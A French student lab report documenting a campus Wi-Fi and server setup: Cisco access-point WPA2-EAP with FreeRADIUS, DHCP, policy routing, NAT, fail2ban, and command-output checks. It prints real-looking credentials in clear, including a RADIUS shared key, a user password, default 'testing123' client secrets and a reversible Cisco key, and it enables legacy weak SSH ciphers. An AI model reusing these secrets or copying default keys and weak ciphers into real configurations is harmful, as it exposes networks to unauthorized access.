Sur le point d’accès (wifi‑E304), les lignes suivantes ont été ajoutées (en conservant les configurations des autres étudiants) :
aaa group server radius radius_student25
server 192.168.20.2 auth-port 1812 acct-port 1813
aaa authentication login eap_student25 group radius_student25
dot11 ssid VM_SERVICES_15
vlan 25
authentication open eap eap_student25
authentication network-eap eap_student25
authentication key-management wpa version 2
mbssid guest-mode
interface Dot11Radio0
encryption vlan 25 mode ciphers aes-ccm
ssid VM_SERVICES_15
interface Dot11Radio0.25
encapsulation dot1Q 25
bridge-group 25
interface GigabitEthernet0.25
encapsulation dot1Q 25
bridge-group 25
radius-server host 192.168.20.2 auth-port 1812 acct-port 1813 key radius_secret_salhi_2026Configuration DHCP sur les routeurs
Sur E304 (plage 100‑150) :
ip dhcp excluded-address 10.60.15.1 10.60.15.99
ip dhcp excluded-address 10.60.15.151 10.60.15.254
ip dhcp pool SALHI_VLAN25
network 10.60.15.0 255.255.255.0
default-router 10.60.15.1
dns-server 192.168.20.2 8.8.8.8
domain-name msalhi.online
lease 0 12Policy‑Based Routing (PBR)
Pour que le trafic IPv4 du VLAN 25 passe par Solstice (où il sera NATé vers Internet), on a configuré sur E304 :
ip access-list extended TRAFIC_VLAN25
permit ip 10.60.15.0 0.0.0.255 any
!
route-map PBR_VLAN25 permit 10
match ip address TRAFIC_VLAN25
set ip next-hop 193.48.57.167
!
interface Vlan25
ip policy route-map PBR_VLAN25Cette politique force tout le trafic IPv4 du VLAN 25 vers Solstice. La mascarade a ensuite été élargie sur Solstice pour inclure ce réseau :
iptables -t nat -A POSTROUTING -s 10.60.15.0/24 -o eth1 -j MASQUERADE
iptables-save > /etc/iptables/rules.v4
Tests
Un client connecté au SSID VM_SERVICES_15 obtient une adresse IP dans la plage DHCP (ex. 10.60.15.101), peut résoudre des noms DNS (via Moon) et accéder à Internet. Le traceroute montre le passage par Solstice (193.48.57.167).
Vérifications et tests
Cette section regroupe l’ensemble des commandes exécutées pour valider le bon fonctionnement de chaque composant de l’infrastructure. Les sorties sont présentées telles qu’obtenues sur les machines concernées.
Services Web
Sur Moon (machine de services)
Vérification de l’écoute Apache sur les ports 80 et 443 :
ss -tlnp | grep -E ':80|:443'
LISTEN 0 128 *:80 *:* users:(("apache2",pid=16838,fd=4),("apache2",pid=16837,fd=4),("apache2",pid=7274,fd=4))
LISTEN 0 128 *:443 *:* users:(("apache2",pid=16838,fd=6),("apache2",pid=16837,fd=6),("apache2",pid=7274,fd=6))
Test d’accès HTTPS en local (IPv6) :
curl -6 https://msalhi.online -I
HTTP/1.1 200 OK Date: Fri, 27 Feb 2026 11:04:38 GMT Server: Apache/2.4.66 (Debian) Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Last-Modified: Fri, 06 Feb 2026 20:23:53 GMT ETag: "1515-64a2d916615c9" Accept-Ranges: bytes Content-Length: 5397 Vary: Accept-Encoding Content-Type: text/html
Sur Solstice (machine mandataire)
Test d’accès HTTPS via le proxy inverse (IPv4) :
curl -4 https://msalhi.online -I
HTTP/1.1 200 OK Date: Fri, 27 Feb 2026 11:04:55 GMT Server: Apache/2.4.66 (Debian) Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Last-Modified: Fri, 06 Feb 2026 20:23:53 GMT ETag: "1515-64a2d916615c9" Accept-Ranges: bytes Content-Length: 5397 Vary: Accept-Encoding Content-Type: text/html
Vérification des règles NAT :
iptables -t nat -L POSTROUTING -n -v
Chain POSTROUTING (policy ACCEPT 8219 packets, 528K bytes) pkts bytes target prot opt in out source destination 18528 1577K MASQUERADE 0 -- * eth1 0.0.0.0/0 0.0.0.0/0 3254 225K MASQUERADE 0 -- * eth0 10.60.15.0/24 0.0.0.0/0
La première règle assure la mascarade pour tout le trafic sortant sur l’interface publique (eth1). La seconde règle (source 10.60.15.0/24 sortant sur eth0) est résiduelle mais ne perturbe pas le fonctionnement.
fail2ban
Sur Solstice
fail2ban-client status sshd
Status for the jail: sshd |- Filter | |- Currently failed: 0 | |- Total failed: 12792 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 4 |- Total banned: 3114 `- Banned IP list: 134.199.155.127 162.243.33.174 152.42.166.201 206.189.90.119
Sur Moon
fail2ban-client status sshd
Status for the jail: sshd |- Filter | |- Currently failed: 0 | |- Total failed: 1 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 0 |- Total banned: 0 `- Banned IP list:
WPA2‑EAP – FreeRADIUS (sur Moon)
Statut du service :
systemctl status freeradius
freeradius.service - FreeRADIUS multi-protocol policy server
Loaded: loaded (/lib/systemd/system/freeradius.service; enabled)
Active: active (running) since ...
Test d’authentification local :
radtest msalhi WifiSecure2026! localhost 1812 testing123
Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76 User-Name = "msalhi" User-Password = "WifiSecure2026!" NAS-IP-Address = 127.0.0.1 NAS-Port = 0 Message-Authenticator = 0x00 Cleartext-Password = "WifiSecure2026!" Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20
Configuration du client RADIUS (point d’accès) extraite de /etc/freeradius/3.0/clients.conf :
client vlan1_ap1 {
ipaddr = 172.27.0.4
secret = testing123
shortname = cisco-ap1-vlan1
nas_type = cisco
}
client vlan1_ap2 {
ipaddr = 172.27.0.3
secret = testing123
shortname = cisco-ap2-vlan1
nas_type = cisco
}
WPA2‑EAP – Point d’accès (wifi‑E304)
Connexion SSH (commande adaptée) :
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4
Vérification du SSID et de son VLAN :
wifi-E304#show dot11 ssid VM_SERVICES_15 SSID Name : VM_SERVICES_15 Status : Enabled Broadcast SSID : Enabled VLAN : 25 Authentication Methods : Open EAP, Network-EAP WPA Key Management : WPA2
Vérification des serveurs RADIUS configurés :
wifi-E304#show running-config | include radius-server radius-server host 192.168.20.2 auth-port 1812 acct-port 1813 key 7 044F0E151B284249584B56 ...
Statistiques RADIUS :
wifi-E304#show aaa servers
RADIUS: id 7, priority 6, host 192.168.20.2, auth-port 1812, acct-port 1813
State: current UP, duration 794495s
Authen: request 2076, timeouts 1646
Transaction: success 430, failure 411
...
Test d’authentification :
wifi-E304#test aaa group radius_student25 msalhi WifiSecure2026! legacy Attempting authentication test to server-group radius_student25 using radius User was successfully authenticated.
Clients associés :
wifi-E304#show dot11 associations 802.11 Client Stations on Dot11Radio1: SSID [VM_SERVICES_15] : MAC Address IP address Device Name Parent State a0b3.395a.dcc8 10.60.15.153 unknown - self EAP-Assoc
État du VLAN 25 sur l’AP :
wifi-E304#show vlan 25 Virtual LAN ID: 25 (IEEE 802.1Q Encapsulation) vLAN Trunk Interfaces: Dot11Radio0.25, Dot11Radio1.25, GigabitEthernet0.25
WPA2‑EAP – Routeur central (C9200‑E304)
Connexion SSH (commande adaptée) :
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1
Vérification du VLAN 25 :
C9200-E304#show vlan brief | include 25 25 E15-MSalhi active
Interface VLAN 25 :
C9200-E304#show ip interface brief | include Vlan25 Vlan25 10.60.15.2 YES manual up up C9200-E304#show ipv6 interface brief | include Vlan25 Vlan25 [up/up]
VRRP pour VLAN 25 :
C9200-E304#show vrrp brief | include 25 Vl25 25 IPv4 110 0 N Y MASTER 10.60.15.2(local) 10.60.15.1 C9200-E304#show vrrp Vlan25 Vlan25 - Group 25 - Address-Family IPv4 State is MASTER Virtual IP address is 10.60.15.1 Priority is 110 Master Router is 10.60.15.2 (local)
DHCP :
C9200-E304#show ip dhcp pool ... Pool PoolSalhi : Utilization mark (high/low) : 100 / 0 Total addresses : 254 Leased addresses : 1 Excluded addresses : 150 Current index IP address range Leased/Excluded/Total 10.60.15.156 10.60.15.1 - 10.60.15.254 1 / 150 / 254 C9200-E304#show ip dhcp binding | include 10.60.15 10.60.15.153 ff39.5adc.c800.0100. Feb 27 2026 08:59 PM Automatic Active Vlan25
Policy‑Based Routing (PBR) :
C9200-E304#show route-map PBR_VLAN25
route-map PBR_VLAN25, permit, sequence 10
Match clauses:
ip address (access-lists): TRAFIC_VLAN25
Set clauses:
ip next-hop 193.48.57.167
Policy routing matches: 3128 packets, 1082288 bytes
C9200-E304#show ip access-lists TRAFIC_VLAN25
Extended IP access list TRAFIC_VLAN25
10 permit ip 10.60.15.0 0.0.0.255 any (3128 matches)
C9200-E304#show ip policy
Interface Route map
Vlan25 PBR_VLAN25
Trunk vers le point d’accès :
C9200-E304#show interfaces trunk Port Mode Encapsulation Status Native vlan Gi1/0/1 on 802.1q trunking 1 Port Vlans allowed and active in management domain Gi1/0/1 1-2,11-12,15-16,19-20,23-25,28,530 C9200-E304#show interfaces GigabitEthernet1/0/1 switchport Name: Gi1/0/1 Switchport: Enabled Administrative Mode: trunk Operational Mode: trunk Trunking VLANs Enabled: ALL
Réseau basique et avancé
Routes sur E304 :
C9200-E304#show ip route | include 10.60.15 C 10.60.15.0/24 is directly connected, Vlan25 C9200-E304#show ip route 0.0.0.0 Gateway of last resort is 193.48.57.162 to network 0.0.0.0 O*E2 0.0.0.0/0 [110/1] via 193.48.57.162, Vlan2
Connectivité depuis Moon vers la passerelle VLAN 25 :
ping -c 3 10.60.15.1
PING 10.60.15.1 (10.60.15.1) 56(84) bytes of data. 64 bytes from 10.60.15.1: icmp_seq=1 ttl=253 time=1.35 ms 64 bytes from 10.60.15.1: icmp_seq=2 ttl=253 time=2.09 ms 64 bytes from 10.60.15.1: icmp_seq=3 ttl=253 time=1.17 ms --- 10.60.15.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 1.171/1.536/2.091/0.398 ms ----
Conclusion
L’infrastructure déployée répond à toutes les exigences du projet :
- Virtualisation Xen avec séparation des rôles (services / mandataire)
- Services sécurisés : SSH redirigé, DNS maître/esclave avec DNSSEC, HTTPS avec certificat Gandi, proxy inverse IPv4
- Filtrage des attaques par fail2ban
- Réseau redondant avec VRRP, DHCP, et Policy‑Based Routing
- WiFi sécurisé par WPA2‑EAP avec FreeRADIUS
- Tests d’intrusion concluants sur WEP et WPA2‑PSK
- Chiffrement de données avec LUKS
L’ensemble est fonctionnel et démontre une maîtrise des technologies mises en œuvre.
